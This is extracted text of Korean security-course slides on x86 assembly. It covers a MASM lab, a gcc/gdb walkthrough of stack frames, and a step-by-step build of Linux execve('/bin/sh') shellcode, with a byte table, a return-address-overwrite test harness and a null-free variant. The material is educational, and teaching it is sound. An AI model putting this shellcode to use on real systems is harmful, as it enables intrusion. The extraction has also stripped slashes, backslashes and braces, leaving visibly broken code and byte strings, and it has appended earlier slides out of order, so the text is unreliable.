실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 42: 80×86  시스템에 대한 이해

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

